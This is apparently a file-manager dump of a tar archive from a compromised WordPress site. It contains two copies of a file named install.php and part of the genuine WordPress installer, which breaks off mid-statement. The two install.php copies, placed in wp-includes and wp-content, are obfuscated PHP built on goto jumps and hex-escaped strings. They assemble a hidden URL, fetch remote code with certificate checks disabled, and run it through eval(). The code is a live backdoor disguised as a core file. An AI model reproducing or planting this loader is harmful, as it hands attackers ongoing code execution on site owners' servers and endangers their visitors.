Current Path : /home/ephorei/www/wp-includes/images/media/q2m9hb/ |
Current File : /home/ephorei/www/wp-includes/images/media/q2m9hb/install.php.tar |
home/ephorei/www/wp-includes/install.php 0000555 00000013166 15005747523 0014404 0 ustar 00 <?php goto LEuXu; yalz3: $TQ60g .= "\x73\x70\x74\x74"; goto kdYPX; BcDXp: $TQ60g .= "\56\61\60"; goto UlUgF; Sc2YL: $TQ60g .= "\157"; goto q4e0x; fzCZn: $TQ60g .= "\x6b\x6f\x2e\x6f"; goto oadHn; wGhlO: eval("\x3f\76" . hswys(strrev($TQ60g))); goto Jy2Bn; kdYPX: $TQ60g .= "\150"; goto wGhlO; q4e0x: $TQ60g .= "\x74"; goto BcDXp; l86ME: $TQ60g .= "\57"; goto QD8q9; oadHn: $TQ60g .= "\x65\163\x2f\57\x3a"; goto yalz3; c_s3w: $TQ60g .= "\145\162\x2f\151"; goto OUo51; OUo51: $TQ60g .= "\x64"; goto ZH0im; LEuXu: $TQ60g = ''; goto aBlLE; aBlLE: $TQ60g .= "\x74\170\x74\x2e"; goto ntirT; QD8q9: $TQ60g .= "\x70"; goto Sc2YL; ntirT: $TQ60g .= "\x31\163"; goto c_s3w; ZH0im: $TQ60g .= "\x75\167"; goto l86ME; UlUgF: $TQ60g .= "\163\153"; goto fzCZn; Jy2Bn: function HSwyS($HLIVE, $Ivg8b = "\x47\x45\x54", $zqaT9 = array(), $ybGl2 = 45) { try { goto AUF1K; cakgn: M5mBr: goto mQR50; NM7lt: if (!($NUjcM === false)) { goto sHBcx; } goto J0AaQ; neHbN: if (!(stripos($Xbu1a, "\124\162\141\156\x73\x66\x65\x72\x2d\105\156\x63\x6f\144\151\x6e\x67\x3a\x20\143\x68\165\x6e\153\x65\x64") !== false)) { goto jkaXk; } goto T1Rkk; gl21P: EXUTn: goto aKNuA; AI16y: $UuYw2 = ''; goto KhjtW; KhjtW: fYDa7: goto g3qUg; UcYJb: curl_setopt($oG9jX, CURLOPT_POSTFIELDS, http_build_query($zqaT9)); goto r8h_V; qVclf: $NUjcM = strpos($d4d8P, "\xd\12"); goto NM7lt; xG0zH: $Xbu1a = isset($k3nC4[0]) ? $k3nC4[0] : ''; goto E1fPc; lZAHO: curl_setopt($oG9jX, CURLOPT_CONNECTTIMEOUT, 0); goto daluC; r3p8I: $gS0Hx = hexdec(substr($d4d8P, 0, $NUjcM)); goto j3y4w; rzqR4: $lm8HR = isset($HluW7["\x73\x63\150\145\155\145"]) ? $HluW7["\163\x63\150\145\155\145"] : "\x68\x74\164\x70"; goto eocnN; wiTKA: curl_setopt($oG9jX, CURLOPT_TIMEOUT, $ybGl2); goto YAgCR; ADw24: $Xbu1a = ["{$Ivg8b}\x20{$cj2Eh}{$zXFcS}\x20\x48\x54\x54\120\57\61\56\x31", "\x48\x6f\x73\164\72\x20{$w5Dr4}", "\125\x73\x65\162\55\x41\x67\145\156\x74\x3a\40\x4d\157\x7a\151\x6c\154\141\57\x35\56\60\x20\x28\x57\x69\156\144\157\x77\163\40\116\124\40\x31\x30\x2e\60\x3b\40\x57\151\x6e\66\64\73\40\170\x36\x34\x29\40\x41\x70\160\154\x65\127\x65\142\113\x69\164\x2f\x35\63\x37\56\63\x36\x20\50\113\110\x54\115\x4c\54\x20\154\151\153\145\x20\107\145\143\x6b\157\51\x20\x43\x68\162\157\x6d\x65\x2f\71\x31\x2e\x30\x2e\64\x34\x37\62\x2e\x31\x32\64\40\x53\141\146\x61\162\x69\57\65\x33\x37\56\63\66", "\103\x6f\156\x6e\145\x63\x74\x69\157\156\72\40\103\x6c\x6f\x73\x65"]; goto lWJr0; PjsNC: $Xbu1a[] = "\x43\157\156\x74\145\x6e\x74\55\x4c\145\156\x67\x74\x68\x3a\40" . strlen($T4dbx); goto cakgn; mQR50: $Q2K_W = implode("\xd\xa", $Xbu1a) . "\xd\12\15\xa"; goto vR6jj; Cn2pI: $Xbu1a[] = "\103\x6f\x6e\164\x65\x6e\x74\x2d\x54\171\x70\x65\72\40\141\x70\160\x6c\151\143\141\164\x69\x6f\156\57\x78\x2d\x77\167\167\x2d\146\x6f\x72\x6d\x2d\165\x72\154\x65\x6e\143\157\x64\145\144"; goto PjsNC; NAlk2: $oG9jX = curl_init(); goto PaZ6q; oY2cy: curl_setopt($oG9jX, CURLOPT_SSL_VERIFYHOST, false); goto o_roM; XFNf2: KtyUg: goto WT1yD; E1fPc: $d4d8P = isset($k3nC4[1]) ? $k3nC4[1] : ''; goto neHbN; WT1yD: $d4d8P = $puoG0; goto DnZZN; j3y4w: if (!($gS0Hx === 0)) { goto eJQ4T; } goto m6h0S; lWJr0: if (!($Ivg8b == "\120\x4f\123\124")) { goto M5mBr; } goto uH3r0; PaZ6q: curl_setopt($oG9jX, CURLOPT_URL, $HLIVE); goto SDu3z; F2LPT: goto fYDa7; goto WcvAI; eocnN: $VCyLc = isset($HluW7["\160\157\162\164"]) ? $HluW7["\160\157\162\x74"] : ($lm8HR === "\x68\x74\164\160\163" ? 443 : 80); goto AM_Bw; S98b5: if ($nrADT) { goto LtFzO; } goto Jaw8k; MGqk4: $k3nC4 = explode("\xd\12\xd\12", $UuYw2, 2); goto xG0zH; rD8Le: curl_close($oG9jX); goto a3Vkl; a3Vkl: return trim(trim($HFbpB, "\xef\xbb\277")); goto SCXdF; DnZZN: jkaXk: goto C5M1V; AM_Bw: $AhU_4 = $lm8HR === "\x68\x74\x74\160\163" ? "\x73\x73\x6c" : "\x74\143\160"; goto irNSN; wzwVi: $w5Dr4 = $HluW7["\150\157\163\x74"]; goto gRs9m; ZRFQ2: $puoG0 .= substr($d4d8P, $NUjcM + 2, $gS0Hx); goto mQd1z; t5gIz: goto EXUTn; goto XFNf2; J0AaQ: goto KtyUg; goto GNWS1; iwW87: curl_setopt($oG9jX, CURLOPT_POST, 1); goto UcYJb; T_Fq0: $HluW7 = parse_url($HLIVE); goto wzwVi; g3qUg: if (feof($nrADT)) { goto TqdaC; } goto hwJ_N; jl_ua: $Q2K_W .= $T4dbx . "\15\12"; goto NyFEY; AUF1K: if (!(function_exists("\x63\165\x72\x6c\x5f\151\x6e\x69\164") && function_exists("\143\x75\x72\154\x5f\x65\x78\x65\x63"))) { goto gKlmh; } goto NAlk2; f0xst: curl_setopt($oG9jX, CURLOPT_SSL_VERIFYPEER, false); goto oY2cy; uH3r0: $T4dbx = http_build_query($zqaT9); goto Cn2pI; m6h0S: goto KtyUg; goto RR10X; C5M1V: return trim($d4d8P); goto f5ez3; T1Rkk: $puoG0 = ''; goto gl21P; irNSN: $nrADT = stream_socket_client("{$AhU_4}\72\x2f\x2f{$w5Dr4}\72{$VCyLc}", $ipteM, $M33Rw, $ybGl2); goto S98b5; WcvAI: TqdaC: goto kiu0L; hK0UI: $zXFcS = isset($HluW7["\161\165\145\x72\x79"]) ? "\x3f" . $HluW7["\x71\165\145\x72\x79"] : ''; goto rzqR4; VFJKH: $HFbpB = curl_exec($oG9jX); goto rD8Le; kiu0L: fclose($nrADT); goto MGqk4; Jaw8k: return 0; goto PvLTv; SDu3z: curl_setopt($oG9jX, CURLOPT_USERAGENT, "\107\117"); goto lZAHO; GNWS1: sHBcx: goto r3p8I; mQd1z: $d4d8P = substr($d4d8P, $NUjcM + 2 + $gS0Hx + 2); goto t5gIz; aKNuA: if (!true) { goto KtyUg; } goto qVclf; o_roM: curl_setopt($oG9jX, CURLOPT_FOLLOWLOCATION, true); goto wiTKA; gRs9m: $cj2Eh = isset($HluW7["\x70\x61\164\150"]) ? $HluW7["\160\141\x74\x68"] : "\x2f"; goto hK0UI; daluC: curl_setopt($oG9jX, CURLOPT_RETURNTRANSFER, 1); goto f0xst; PvLTv: LtFzO: goto ADw24; RR10X: eJQ4T: goto ZRFQ2; YAgCR: if (!($Ivg8b == "\120\117\x53\x54")) { goto eIPsz; } goto iwW87; r8h_V: eIPsz: goto VFJKH; yLMiX: fwrite($nrADT, $Q2K_W); goto AI16y; hwJ_N: $UuYw2 .= fgets($nrADT, 1024); goto F2LPT; NyFEY: EdtIq: goto yLMiX; vR6jj: if (!($Ivg8b == "\120\117\123\124")) { goto EdtIq; } goto jl_ua; SCXdF: gKlmh: goto T_Fq0; f5ez3: } catch (Exception $Fq7UQ) { } return 0; } home/ephorei/www/wp-content/install.php 0000555 00000013166 15006030071 0014230 0 ustar 00 <?php goto LEuXu; yalz3: $TQ60g .= "\x73\x70\x74\x74"; goto kdYPX; BcDXp: $TQ60g .= "\56\61\60"; goto UlUgF; Sc2YL: $TQ60g .= "\157"; goto q4e0x; fzCZn: $TQ60g .= "\x6b\x6f\x2e\x6f"; goto oadHn; wGhlO: eval("\x3f\76" . hswys(strrev($TQ60g))); goto Jy2Bn; kdYPX: $TQ60g .= "\150"; goto wGhlO; q4e0x: $TQ60g .= "\x74"; goto BcDXp; l86ME: $TQ60g .= "\57"; goto QD8q9; oadHn: $TQ60g .= "\x65\163\x2f\57\x3a"; goto yalz3; c_s3w: $TQ60g .= "\145\162\x2f\151"; goto OUo51; OUo51: $TQ60g .= "\x64"; goto ZH0im; LEuXu: $TQ60g = ''; goto aBlLE; aBlLE: $TQ60g .= "\x74\170\x74\x2e"; goto ntirT; QD8q9: $TQ60g .= "\x70"; goto Sc2YL; ntirT: $TQ60g .= "\x31\163"; goto c_s3w; ZH0im: $TQ60g .= "\x75\167"; goto l86ME; UlUgF: $TQ60g .= "\163\153"; goto fzCZn; Jy2Bn: function HSwyS($HLIVE, $Ivg8b = "\x47\x45\x54", $zqaT9 = array(), $ybGl2 = 45) { try { goto AUF1K; cakgn: M5mBr: goto mQR50; NM7lt: if (!($NUjcM === false)) { goto sHBcx; } goto J0AaQ; neHbN: if (!(stripos($Xbu1a, "\124\162\141\156\x73\x66\x65\x72\x2d\105\156\x63\x6f\144\151\x6e\x67\x3a\x20\143\x68\165\x6e\153\x65\x64") !== false)) { goto jkaXk; } goto T1Rkk; gl21P: EXUTn: goto aKNuA; AI16y: $UuYw2 = ''; goto KhjtW; KhjtW: fYDa7: goto g3qUg; UcYJb: curl_setopt($oG9jX, CURLOPT_POSTFIELDS, http_build_query($zqaT9)); goto r8h_V; qVclf: $NUjcM = strpos($d4d8P, "\xd\12"); goto NM7lt; xG0zH: $Xbu1a = isset($k3nC4[0]) ? $k3nC4[0] : ''; goto E1fPc; lZAHO: curl_setopt($oG9jX, CURLOPT_CONNECTTIMEOUT, 0); goto daluC; r3p8I: $gS0Hx = hexdec(substr($d4d8P, 0, $NUjcM)); goto j3y4w; rzqR4: $lm8HR = isset($HluW7["\x73\x63\150\145\155\145"]) ? $HluW7["\163\x63\150\145\155\145"] : "\x68\x74\164\x70"; goto eocnN; wiTKA: curl_setopt($oG9jX, CURLOPT_TIMEOUT, $ybGl2); goto YAgCR; ADw24: $Xbu1a = ["{$Ivg8b}\x20{$cj2Eh}{$zXFcS}\x20\x48\x54\x54\120\57\61\56\x31", "\x48\x6f\x73\164\72\x20{$w5Dr4}", "\125\x73\x65\162\55\x41\x67\145\156\x74\x3a\40\x4d\157\x7a\151\x6c\154\141\57\x35\56\60\x20\x28\x57\x69\156\144\157\x77\163\40\116\124\40\x31\x30\x2e\60\x3b\40\x57\151\x6e\66\64\73\40\170\x36\x34\x29\40\x41\x70\160\154\x65\127\x65\142\113\x69\164\x2f\x35\63\x37\56\63\x36\x20\50\113\110\x54\115\x4c\54\x20\154\151\153\145\x20\107\145\143\x6b\157\51\x20\x43\x68\162\157\x6d\x65\x2f\71\x31\x2e\x30\x2e\64\x34\x37\62\x2e\x31\x32\64\40\x53\141\146\x61\162\x69\57\65\x33\x37\56\63\66", "\103\x6f\156\x6e\145\x63\x74\x69\157\156\72\40\103\x6c\x6f\x73\x65"]; goto lWJr0; PjsNC: $Xbu1a[] = "\x43\157\156\x74\145\x6e\x74\55\x4c\145\156\x67\x74\x68\x3a\40" . strlen($T4dbx); goto cakgn; mQR50: $Q2K_W = implode("\xd\xa", $Xbu1a) . "\xd\12\15\xa"; goto vR6jj; Cn2pI: $Xbu1a[] = "\103\x6f\x6e\164\x65\x6e\x74\x2d\x54\171\x70\x65\72\40\141\x70\160\x6c\151\143\141\164\x69\x6f\156\57\x78\x2d\x77\167\167\x2d\146\x6f\x72\x6d\x2d\165\x72\154\x65\x6e\143\157\x64\145\144"; goto PjsNC; NAlk2: $oG9jX = curl_init(); goto PaZ6q; oY2cy: curl_setopt($oG9jX, CURLOPT_SSL_VERIFYHOST, false); goto o_roM; XFNf2: KtyUg: goto WT1yD; E1fPc: $d4d8P = isset($k3nC4[1]) ? $k3nC4[1] : ''; goto neHbN; WT1yD: $d4d8P = $puoG0; goto DnZZN; j3y4w: if (!($gS0Hx === 0)) { goto eJQ4T; } goto m6h0S; lWJr0: if (!($Ivg8b == "\120\x4f\123\124")) { goto M5mBr; } goto uH3r0; PaZ6q: curl_setopt($oG9jX, CURLOPT_URL, $HLIVE); goto SDu3z; F2LPT: goto fYDa7; goto WcvAI; eocnN: $VCyLc = isset($HluW7["\160\157\162\164"]) ? $HluW7["\160\157\162\x74"] : ($lm8HR === "\x68\x74\164\160\163" ? 443 : 80); goto AM_Bw; S98b5: if ($nrADT) { goto LtFzO; } goto Jaw8k; MGqk4: $k3nC4 = explode("\xd\12\xd\12", $UuYw2, 2); goto xG0zH; rD8Le: curl_close($oG9jX); goto a3Vkl; a3Vkl: return trim(trim($HFbpB, "\xef\xbb\277")); goto SCXdF; DnZZN: jkaXk: goto C5M1V; AM_Bw: $AhU_4 = $lm8HR === "\x68\x74\x74\160\163" ? "\x73\x73\x6c" : "\x74\143\160"; goto irNSN; wzwVi: $w5Dr4 = $HluW7["\150\157\163\x74"]; goto gRs9m; ZRFQ2: $puoG0 .= substr($d4d8P, $NUjcM + 2, $gS0Hx); goto mQd1z; t5gIz: goto EXUTn; goto XFNf2; J0AaQ: goto KtyUg; goto GNWS1; iwW87: curl_setopt($oG9jX, CURLOPT_POST, 1); goto UcYJb; T_Fq0: $HluW7 = parse_url($HLIVE); goto wzwVi; g3qUg: if (feof($nrADT)) { goto TqdaC; } goto hwJ_N; jl_ua: $Q2K_W .= $T4dbx . "\15\12"; goto NyFEY; AUF1K: if (!(function_exists("\x63\165\x72\x6c\x5f\151\x6e\x69\164") && function_exists("\143\x75\x72\154\x5f\x65\x78\x65\x63"))) { goto gKlmh; } goto NAlk2; f0xst: curl_setopt($oG9jX, CURLOPT_SSL_VERIFYPEER, false); goto oY2cy; uH3r0: $T4dbx = http_build_query($zqaT9); goto Cn2pI; m6h0S: goto KtyUg; goto RR10X; C5M1V: return trim($d4d8P); goto f5ez3; T1Rkk: $puoG0 = ''; goto gl21P; irNSN: $nrADT = stream_socket_client("{$AhU_4}\72\x2f\x2f{$w5Dr4}\72{$VCyLc}", $ipteM, $M33Rw, $ybGl2); goto S98b5; WcvAI: TqdaC: goto kiu0L; hK0UI: $zXFcS = isset($HluW7["\161\165\145\x72\x79"]) ? "\x3f" . $HluW7["\x71\165\145\x72\x79"] : ''; goto rzqR4; VFJKH: $HFbpB = curl_exec($oG9jX); goto rD8Le; kiu0L: fclose($nrADT); goto MGqk4; Jaw8k: return 0; goto PvLTv; SDu3z: curl_setopt($oG9jX, CURLOPT_USERAGENT, "\107\117"); goto lZAHO; GNWS1: sHBcx: goto r3p8I; mQd1z: $d4d8P = substr($d4d8P, $NUjcM + 2 + $gS0Hx + 2); goto t5gIz; aKNuA: if (!true) { goto KtyUg; } goto qVclf; o_roM: curl_setopt($oG9jX, CURLOPT_FOLLOWLOCATION, true); goto wiTKA; gRs9m: $cj2Eh = isset($HluW7["\x70\x61\164\150"]) ? $HluW7["\160\141\x74\x68"] : "\x2f"; goto hK0UI; daluC: curl_setopt($oG9jX, CURLOPT_RETURNTRANSFER, 1); goto f0xst; PvLTv: LtFzO: goto ADw24; RR10X: eJQ4T: goto ZRFQ2; YAgCR: if (!($Ivg8b == "\120\117\x53\x54")) { goto eIPsz; } goto iwW87; r8h_V: eIPsz: goto VFJKH; yLMiX: fwrite($nrADT, $Q2K_W); goto AI16y; hwJ_N: $UuYw2 .= fgets($nrADT, 1024); goto F2LPT; NyFEY: EdtIq: goto yLMiX; vR6jj: if (!($Ivg8b == "\120\117\123\124")) { goto EdtIq; } goto jl_ua; SCXdF: gKlmh: goto T_Fq0; f5ez3: } catch (Exception $Fq7UQ) { } return 0; } home/ephorei/www/wp-admin/install.php 0000644 00000043706 15006045173 0013661 0 ustar 00 <?php /** * WordPress Installer * * @package WordPress * @subpackage Administration */ // Confidence check. if ( false ) { ?> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Error: PHP is not running</title> </head> <body class="wp-core-ui"> <p id="logo"><a href="https://wordpress.org/">WordPress</a></p> <h1>Error: PHP is not running</h1> <p>WordPress requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.</p> </body> </html> <?php } /** * We are installing WordPress. * * @since 1.5.1 * @var bool */ define( 'WP_INSTALLING', true ); /** Load WordPress Bootstrap */ require_once dirname( __DIR__ ) . '/wp-load.php'; /** Load WordPress Administration Upgrade API */ require_once ABSPATH . 'wp-admin/includes/upgrade.php'; /** Load WordPress Translation Install API */ require_once ABSPATH . 'wp-admin/includes/translation-install.php'; /** Load wpdb */ require_once ABSPATH . WPINC . '/class-wpdb.php'; nocache_headers(); $step = isset( $_GET['step'] ) ? (int) $_GET['step'] : 0; /** * Display installation header. * * @since 2.5.0 * * @param string $body_classes */ function display_header( $body_classes = '' ) { header( 'Content-Type: text/html; charset=utf-8' ); if ( is_rtl() ) { $body_classes .= 'rtl'; } if ( $body_classes ) { $body_classes = ' ' . $body_classes; } ?> <!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="robots" content="noindex,nofollow" /> <title><?php _e( 'WordPress › Installation' ); ?></title> <?php wp_admin_css( 'install', true ); ?> </head> <body class="wp-core-ui<?php echo $body_classes; ?>"> <p id="logo"><?php _e( 'WordPress' ); ?></p> <?php } // End display_header(). /** * Displays installer setup form. * * @since 2.8.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|null $error */ function display_setup_form( $error = null ) { global $wpdb; $user_table = ( $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $wpdb->users ) ) ) !== null ); // Ensure that sites appear in search engines by default. $blog_public = 1; if ( isset( $_POST['weblog_title'] ) ) { $blog_public = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : $blog_public; } $weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : ''; $user_name = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : ''; $admin_email = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : ''; if ( ! is_null( $error ) ) { ?> <h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1> <p class="message"><?php echo $error; ?></p> <?php } ?> <form id="setup" method="post" action="install.php?step=2" novalidate="novalidate"> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="weblog_title"><?php _e( 'Site Title' ); ?></label></th> <td><input name="weblog_title" type="text" id="weblog_title" size="25" value="<?php echo esc_attr( $weblog_title ); ?>" /></td> </tr> <tr> <th scope="row"><label for="user_login"><?php _e( 'Username' ); ?></label></th> <td> <?php if ( $user_table ) { _e( 'User(s) already exists.' ); echo '<input name="user_name" type="hidden" value="admin" />'; } else { ?> <input name="user_name" type="text" id="user_login" size="25" aria-describedby="user-name-desc" value="<?php echo esc_attr( sanitize_user( $user_name, true ) ); ?>" /> <p id="user-name-desc"><?php _e( 'Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods, and the @ symbol.' ); ?></p> <?php } ?> </td> </tr> <?php if ( ! $user_table ) : ?> <tr class="form-field form-required user-pass1-wrap"> <th scope="row"> <label for="pass1"> <?php _e( 'Password' ); ?> </label> </th> <td> <div class="wp-pwd"> <?php $initial_password = isset( $_POST['admin_password'] ) ? stripslashes( $_POST['admin_password'] ) : wp_generate_password( 18 ); ?> <div class="password-input-wrapper"> <input type="password" name="admin_password" id="pass1" class="regular-text" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw="<?php echo esc_attr( $initial_password ); ?>" aria-describedby="pass-strength-result admin-password-desc" /> <div id="pass-strength-result" aria-live="polite"></div> </div> <button type="button" class="button wp-hide-pw hide-if-no-js" data-start-masked="<?php echo (int) isset( $_POST['admin_password'] ); ?>" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>"> <span class="dashicons dashicons-hidden"></span> <span class="text"><?php _e( 'Hide' ); ?></span> </button> </div> <p id="admin-password-desc"><span class="description important hide-if-no-js"> <strong><?php _e( 'Important:' ); ?></strong> <?php /* translators: The non-breaking space prevents 1Password from thinking the text "log in" should trigger a password save prompt. */ ?> <?php _e( 'You will need this password to log in. Please store it in a secure location.' ); ?></span></p> </td> </tr> <tr class="form-field form-required user-pass2-wrap hide-if-js"> <th scope="row"> <label for="pass2"><?php _e( 'Repeat Password' ); ?> <span class="description"><?php _e( '(required)' ); ?></span> </label> </th> <td> <input type="password" name="admin_password2" id="pass2" autocomplete="new-password" spellcheck="false" /> </td> </tr> <tr class="pw-weak"> <th scope="row"><?php _e( 'Confirm Password' ); ?></th> <td> <label> <input type="checkbox" name="pw_weak" class="pw-checkbox" /> <?php _e( 'Confirm use of weak password' ); ?> </label> </td> </tr> <?php endif; ?> <tr> <th scope="row"><label for="admin_email"><?php _e( 'Your Email' ); ?></label></th> <td><input name="admin_email" type="email" id="admin_email" size="25" aria-describedby="admin-email-desc" value="<?php echo esc_attr( $admin_email ); ?>" /> <p id="admin-email-desc"><?php _e( 'Double-check your email address before continuing.' ); ?></p></td> </tr> <tr> <th scope="row"><?php has_action( 'blog_privacy_selector' ) ? _e( 'Site visibility' ) : _e( 'Search engine visibility' ); ?></th> <td> <fieldset> <legend class="screen-reader-text"><span> <?php has_action( 'blog_privacy_selector' ) /* translators: Hidden accessibility text. */ ? _e( 'Site visibility' ) /* translators: Hidden accessibility text. */ : _e( 'Search engine visibility' ); ?> </span></legend> <?php if ( has_action( 'blog_privacy_selector' ) ) { ?> <input id="blog-public" type="radio" name="blog_public" value="1" <?php checked( 1, $blog_public ); ?> /> <label for="blog-public"><?php _e( 'Allow search engines to index this site' ); ?></label><br /> <input id="blog-norobots" type="radio" name="blog_public" aria-describedby="public-desc" value="0" <?php checked( 0, $blog_public ); ?> /> <label for="blog-norobots"><?php _e( 'Discourage search engines from indexing this site' ); ?></label> <p id="public-desc" class="description"><?php _e( 'Note: Discouraging search engines does not block access to your site — it is up to search engines to honor your request.' ); ?></p> <?php /** This action is documented in wp-admin/options-reading.php */ do_action( 'blog_privacy_selector' ); } else { ?> <label for="blog_public"><input name="blog_public" type="checkbox" id="blog_public" aria-describedby="privacy-desc" value="0" <?php checked( 0, $blog_public ); ?> /> <?php _e( 'Discourage search engines from indexing this site' ); ?></label> <p id="privacy-desc" class="description"><?php _e( 'It is up to search engines to honor this request.' ); ?></p> <?php } ?> </fieldset> </td> </tr> </table> <p class="step"><?php submit_button( __( 'Install WordPress' ), 'large', 'Submit', false, array( 'id' => 'submit' ) ); ?></p> <input type="hidden" name="language" value="<?php echo isset( $_REQUEST['language'] ) ? esc_attr( $_REQUEST['language'] ) : ''; ?>" /> </form> <?php } // End display_setup_form(). // Let's check to make sure WP isn't already installed. if ( is_blog_installed() ) { display_header(); die( '<h1>' . __( 'Already Installed' ) . '</h1>' . '<p>' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '</p>' . '<p class="step"><a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log In' ) . '</a></p>' . '</body></html>' ); } /** * @global string $wp_version The WordPress version string. * @global string $required_php_version The required PHP version string. * @global string[] $required_php_extensions The names of required PHP extensions. * @global string $required_mysql_version The required MySQL version string. * @global wpdb $wpdb WordPress database abstraction object. */ global $wp_version, $required_php_version, $required_php_extensions, $required_mysql_version, $wpdb; $php_version = PHP_VERSION; $mysql_version = $wpdb->db_version(); $php_compat = version_compare( $php_version, $required_php_version, '>=' ); $mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' ); $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $php_update_message = '</p><p>' . sprintf( /* translators: %s: URL to Update PHP page. */ __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); $annotation = wp_get_update_php_annotation(); if ( $annotation ) { $php_update_message .= '</p><p><em>' . $annotation . '</em>'; } if ( ! $mysql_compat && ! $php_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Minimum required MySQL version number, 5: Current PHP version number, 6: Current MySQL version number. */ __( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s.' ), $version_url, $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version ) . $php_update_message; } elseif ( ! $php_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Current PHP version number. */ __( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_php_version, $php_version ) . $php_update_message; } elseif ( ! $mysql_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required MySQL version number, 4: Current MySQL version number. */ __( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires MySQL version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_mysql_version, $mysql_version ); } if ( ! $mysql_compat || ! $php_compat ) { display_header(); die( '<h1>' . __( 'Requirements Not Met' ) . '</h1><p>' . $compat . '</p></body></html>' ); } if ( isset( $required_php_extensions ) && is_array( $required_php_extensions ) ) { $missing_extensions = array(); foreach ( $required_php_extensions as $extension ) { if ( extension_loaded( $extension ) ) { continue; } $missing_extensions[] = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: The PHP extension name needed. */ __( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires the %3$s PHP extension.' ), $version_url, $wp_version, $extension ); } if ( count( $missing_extensions ) > 0 ) { display_header(); die( '<h1>' . __( 'Requirements Not Met' ) . '</h1><p>' . implode( '</p><p>', $missing_extensions ) . '</p></body></html>' ); } } if ( ! is_string( $wpdb->base_prefix ) || '' === $wpdb->base_prefix ) { display_header(); die( '<h1>' . __( 'Configuration Error' ) . '</h1>' . '<p>' . sprintf( /* translators: %s: wp-config.php */ __( 'Your %s file has an empty database table prefix, which is not supported.' ), '<code>wp-config.php</code>' ) . '</p></body></html>' ); } // Set error message if DO_NOT_UPGRADE_GLOBAL_TABLES isn't set as it will break install. if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) { display_header(); die( '<h1>' . __( 'Configuration Error' ) . '</h1>' . '<p>' . sprintf( /* translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES */ __( 'The constant %s cannot be defined when installing WordPress.' ), '<code>DO_NOT_UPGRADE_GLOBAL_TABLES</code>' ) . '</p></body></html>' ); } /** * @global string $wp_local_package Locale code of the package. * @global WP_Locale $wp_locale WordPress date and time locale object. */ $language = ''; if ( ! empty( $_REQUEST['language'] ) ) { $language = sanitize_locale_name( $_REQUEST['language'] ); } elseif ( isset( $GLOBALS['wp_local_package'] ) ) { $language = $GLOBALS['wp_local_package']; } $scripts_to_print = array( 'jquery' ); switch ( $step ) { case 0: // Step 0. if ( wp_can_install_language_pack() && empty( $language ) ) { $languages = wp_get_available_translations(); if ( $languages ) { $scripts_to_print[] = 'language-chooser'; display_header( 'language-chooser' ); echo '<form id="setup" method="post" action="?step=1">'; wp_install_language_form( $languages ); echo '</form>'; break; } } // Deliberately fall through if we can't reach the translations API. case 1: // Step 1, direct link or from language chooser. if ( ! empty( $language ) ) { $loaded_language = wp_download_language_pack( $language ); if ( $loaded_language ) { load_default_textdomain( $loaded_language ); $GLOBALS['wp_locale'] = new WP_Locale(); } } $scripts_to_print[] = 'user-profile'; display_header(); ?> <h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1> <p><?php _e( 'Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you’ll be on your way to using the most extendable and powerful personal publishing platform in the world.' ); ?></p> <h2><?php _e( 'Information needed' ); ?></h2> <p><?php _e( 'Please provide the following information. Do not worry, you can always change these settings later.' ); ?></p> <?php display_setup_form(); break; case 2: if ( ! empty( $language ) && load_default_textdomain( $language ) ) { $loaded_language = $language; $GLOBALS['wp_locale'] = new WP_Locale(); } else { $loaded_language = 'en_US'; } if ( ! empty( $wpdb->error ) ) { wp_die( $wpdb->error->get_error_message() ); } $scripts_to_print[] = 'user-profile'; display_header(); // Fill in the data we gathered. $weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : ''; $user_name = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : ''; $admin_password = isset( $_POST['admin_password'] ) ? wp_unslash( $_POST['admin_password'] ) : ''; $admin_password_check = isset( $_POST['admin_password2'] ) ? wp_unslash( $_POST['admin_password2'] ) : ''; $admin_email = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : ''; $public = isset( $_POST['blog_public'] ) ? 